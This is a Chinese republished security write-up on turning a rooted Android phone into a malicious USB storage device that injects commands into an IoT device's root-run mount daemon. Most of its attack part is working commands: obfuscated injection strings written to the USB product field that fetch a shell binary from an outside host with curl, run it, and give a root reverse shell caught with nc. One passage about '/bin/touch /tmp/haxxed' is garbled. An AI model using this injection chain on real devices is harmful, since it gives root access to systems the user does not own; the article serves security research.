您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關針對USB外設命令注入滲透的示例分析,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。
當我看到【這篇報告】的時候,我突然意識到將USB作為物聯網設備的攻擊面,也許會是一件有趣的事情。現在很多設備都允許用戶使用USB設備,然后自動執行某些操作,但這種自動化特性對于USB設備未免太過于信任了。
我發現,有的物聯網設備會自動掛載任何連接到它的USB大容量存儲設備,而且如果設備設置了某些特殊屬性,那么設備可能會使用這些屬性來創建掛載目錄名。此外,很多掛載操作是通過調用C系統函數實現的,而惡意USB設備就可以通過這種方式來實現任意命令執行了。由于負責該操作的守護進程是以root權限運行的,因此攻擊者就可以將USB設備插入到設備后等待幾秒鐘,然后就能夠以root權限執行任意命令了。
這里,我打算將我的Android設備變成一個定制版的USB外設,然后進行測試。我是用的是一個已root的Nexus 5X,系統版本為Android 8.1。接下來,我們進入主題。
這里我需要把Android設備作為USB大容量存儲設備來使用,并設置一些由我控制的屬性:產品名稱字符串、產品模型字符串和磁盤標簽。
我對ConfigFS不是非常了解,但是在面對/config/usb_gadget時,我打算使用ConfigFS方法來將我的設備變成一個大容量USB存儲設備。我自己寫了一個腳本來創建所有的條目,但在測試時,我遇到了如下提示:
mkdir: '/config/usb_gadget/g1/functions/mass_storage.0': Function not implemented
我也不太懂為什么這樣不行,但很明顯這個方法在這里并不適用。于是我開始研究Android和Linux的內核源碼,但源碼看得我有些腦瓜疼...最終我發現,我只需要在設備上創建/bin/touch /tmp/haxxed,然后聲明自己為1337即可,所以我把重點放在Android的init文件上。
通過分析Android的init文件,我們會發現兩個針對USB的不同.rc文件:init.usb.configfs.rc和init.usb.rc。這兩份文件都會查看 sys.usb.configfs屬性,判斷init.usb.configfs.rc文件使用的屬性值是否為“1”,否則將使用init.usb.rc。在我的測試場景中,sys.usb.configfs為“0”,但我沒有測試sys.usb.configfs為“1”時會發生什么。
既然我們的主要分析目標落在了“ /sys/class/android_usb/android0”目錄的身上,那么我們先看看這個目錄里面有什么:
bullhead:/sys/class/android_usb/android0 # lsbDeviceClass f_acm f_ffs f_rmnet iManufacturer powerbDeviceProtocol f_audio f_gps f_rmnet_smd iProduct remote_wakeupbDeviceSubClass f_audio_source f_mass_storage f_rndis iSerial statebcdDevice f_ccid f_midi f_rndis_qc idProduct subsystemdown_pm_qos_sample_sec f_charging f_mtp f_serial idVendor ueventdown_pm_qos_threshold f_diag f_ncm f_uasp idle_pc_rpm_no_int_secs up_pm_qos_sample_secenable f_ecm f_ptp f_usb_mbim pm_qos up_pm_qos_thresholdf_accessory f_ecm_qc f_qdss functions pm_qos_state
其中的idVendor, idProduct, iProduct, iManufacturer, 和f_mass_storage看起來都非常眼熟。如果你熟悉ConfigFS的話,f_mass_storage的內容看起來跟mass_storage函數的內容也很相似:
bullhead:/sys/class/android_usb/android0 # ls f_mass_storagedevice inquiry_string lun luns power subsystem ueventbullhead:/sys/class/android_usb/android0 # ls f_mass_storage/lunfile nofua power ro uevent
我的目標只是通過制作一個惡意的usb設備來滲透目標設備,而不是學習linux內核的內部工作原理以及如何將Android設置為usb外圍設備。我打算以后再深入探討這個問題,屆時也許會寫一篇更全面的博文。有很多關于源代碼和設備本身的文章也許可以幫助您了解如何使用這個目錄。
init.usb.rc文件的這幾行配置吸引了我的注意:
write /sys/class/android_usb/android0/enable 0 ....write /sys/class/android_usb/android0/functions ${sys.usb.config}write /sys/class/android_usb/android0/enable 1
那么當我將開發者設備插入目標設備并使用ADB連接時,這個函數會做什么呢?
bullhead:/sys/class/android_usb/android0 # cat functionsffs
我發現,設備的ADB連接是通過FunctionFS實現的,而FunctionFS和ffs正好又是我的短板。這里需要修改其對應的值,然后將其設置為mass_storage來看看會發生什么。
bullhead:/sys/class/android_usb/android0 # echo 0 > enable
好吧,我的ADB會話就這樣掛了。幸運的是,ADB可以通過TCP/IP來工作,于是乎:
adb tcpip 5555adb connect 192.168.1.18:5555
連接成功后,我們就可以將USB設備變成大容量存儲設備了:
bullhead:/sys/class/android_usb/android0 # echo 0 > enablebullhead:/sys/class/android_usb/android0 # echo mass_storage > functionsbullhead:/sys/class/android_usb/android0 # echo 1 > enable
在制作鏡像時,我需要控制磁盤標簽的值。主要是讓目標設備將我們的設備識別為大容量存儲設備,并完成設備加載:
dd if=/dev/zero of=backing.img count=50 bs=1M
這條命令可以創建一個名為backing.img的文件,大小為50MB,然后使用fdisk對其進行格式化處理:
echo -e -n 'o\nn\n\n\n\n\nt\nc\nw\n' | fdisk backing.img
運行之后,效果如下:
Welcome to fdisk (util-linux 2.31.1).Changes will remain in memory only, until you decide to write them.Be careful before using the write command.Device does not contain a recognized partition table.Created a new DOS disklabel with disk identifier 0xd643eccd.Command (m for help): Created a new DOS disklabel with disk identifier 0x50270950.Command (m for help): Partition type p primary (0 primary, 0 extended, 4 free) e extended (container for logical partitions)Select (default p): Using default response p.Partition number (1-4, default 1): First sector (2048-20479, default 2048): Last sector, +sectors or +size{K,M,G,T,P} (2048-20479, default 20479): Created a new partition 1 of type 'Linux' and of size 9 MiB.Command (m for help): Selected partition 1Hex code (type L to list all codes): Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'.Command (m for help): The partition table has been altered.Syncing disks.
接下來,給鏡像添加一個DOS分區表,并使用FAT32格式:
# losetup --offset 1048576 -f backing.img /dev/loop0 # mkdosfs -n "HAX" /dev/loop0# losetup -d /dev/loop0
在鏡像文件的幫助下,我們就可以實現完整功能的USB設備了:
$ adb tcpip 5555$ adb connect 192.168.1.18:5555$ adb push backing.img /dev/local/tmp/$ adb shell
在adb shell中運行下列命令:
$ su# echo 0 > /sys/class/android_usb/android0/enable# echo '/data/local/tmp/backing.img' > /sys/class/android_usb/android0/f_mass_storage/lun/file# echo 'mass_storage' > /sys/class/android_usb/android0/functions# echo 1 > /sys/class/android_usb/android0/enable
如果一切順利的話,你將會看到如下內容:
# lsusb -v -d 18d1:Bus 003 Device 036: ID 18d1:4ee7 Google Inc. Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 idVendor 0x18d1 Google Inc. idProduct 0x4ee7 bcdDevice 3.10 iManufacturer 1 LGE iProduct 2 Nexus 5X iSerial 3 0000000000000000 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 32 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0x80 (Bus Powered) MaxPower 500mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 2 bInterfaceClass 8 Mass Storage bInterfaceSubClass 6 SCSI bInterfaceProtocol 80 Bulk-Only iInterface 5 Mass Storage Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x01 EP 1 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 1Device Qualifier (for other device speed): bLength 10 bDescriptorType 6 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 bNumConfigurations 1Device Status: 0x0000 (Bus Powered)
設備信息如下:
$ ls -lh /dev/disk/by-id lrwxrwxrwx 1 root root 9 Aug 2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0 -> ../../sdblrwxrwxrwx 1 root root 10 Aug 2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0-part1 -> ../../sdb1
設備加載:
$ mkdir HAX && sudo mount /dev/sdb1 HAX
我們此時可以根據自己的需要修改相關參數:
# echo 0 > /sys/class/android_usb/android0/enable# echo 1337 > /sys/class/android_usb/android0/idProduct# echo 'Carve Systems' > /sys/class/android_usb/android0/iManufacturer# echo '1337 Hacking Team' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable$ lsusb -v -d 18d1:Bus 003 Device 044: ID 18d1:1337 Google Inc. Device Descriptor: .... idProduct 0x1337 .... iManufacturer 1 Carve Systems iProduct 2 1337 Hacking USB ....
我利用的代碼如下:
snprintf(dir, DIR_SIZE, "/mnt/storage/%s%s%s", LABEL, iManufacturer, iProduct);snprintf(cmd, CMD_SIZE, "mount %s %s", /dev/DEVICE, dir);system(cmd);
1、向存在漏洞的守護進程的cwd注入一個shell腳本,然后生成一個反向Shell;
2、使用sh執行該文件;
配置好Android設備后,我們就可以直接使用下列命令完成漏洞利用了:
echo 0 > enableecho ';{cmd};' > iProductecho 1 > enable
# echo 0 > /sys/class/android_usb/android0/enable# echo ';echo${IFS}b=`printf$IFS'"'"'\\x2f'"'"'`>>a;' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable# echo 0 > /sys/class/android_usb/android0/enable# echo ';echo${IFS}s=\"$IFS\">>a;' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable# echo 0 > /sys/class/android_usb/android0/enable# echo ';echo${IFS}u=http:\$b\${b}192.168.1.152:8000\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable# echo 0 > /sys/class/android_usb/android0/enable# echo ';echo${IFS}curl\$s-s\$s-o\${s}shell\$s\$u>>a;' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable# echo 0 > /sys/class/android_usb/android0/enable# echo ';echo${IFS}chmod\$s+x\${s}shell>>a;' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable# echo 0 > /sys/class/android_usb/android0/enable# echo ';echo${IFS}\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable# echo 0 > /sys/class/android_usb/android0/enable# echo ';sh${IFS}a;' > /sys/class/android_usb/android0/iProduct# echo 1 > /sys/class/android_usb/android0/enable
命令運行完成后將創建下列文件(/a):
b=/s=" "u=http:$b${b}192.168.1.152:8000${b}shellcurl$s-s$s-o${s}shell$s$uchmod$s+x${s}shell${b}shell
最后一條命令會使用“sh a”命令來執行文件,腳本會給我們返回一個反向Shell Payload:
$ nc -l -p 3567iduid=0(root) gid=0(root) groups=0(root)
至此,我們的漏洞利用就算正式完成了。
關于“針對USB外設命令注入滲透的示例分析”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。